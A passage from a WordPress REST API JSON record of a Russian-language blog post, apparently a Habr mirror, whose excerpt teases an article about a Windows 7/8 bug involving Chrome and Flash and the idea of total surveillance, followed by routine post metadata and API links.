\u043d\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u044d\u0442\u043e \u0442\u0430\u043a). \u0411\u0430\u0433 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0435\u043d\u0435\u043d \u0434\u043b\u044f \u041e\u0421 Windows 7,8. \u0422\u0430\u043a\u0436\u0435 \u043d\u0430\u043c \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u0442\u0441\u044f Google Chrome, \u043d\u0443 \u0438 Flash. \u0422\u043e\u043f\u0438\u043a \u0431\u0443\u0434\u0435\u0442 \u043a\u0430\u0441\u0430\u0442\u044c\u0441\u044f \u0438\u0434\u0435\u0438 \u043e \u0442\u043e\u0442\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u043b\u0435\u0436\u043a\u0435, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0439 \u0432 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0434\u043d\u0438. <br \/>  \u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e? \u041f\u0440\u043e\u0448\u0443 \u043f\u043e\u0434 \u043a\u0430\u0442.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-182706","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/182706","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=182706"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/182706\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=182706"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=182706"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=182706"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}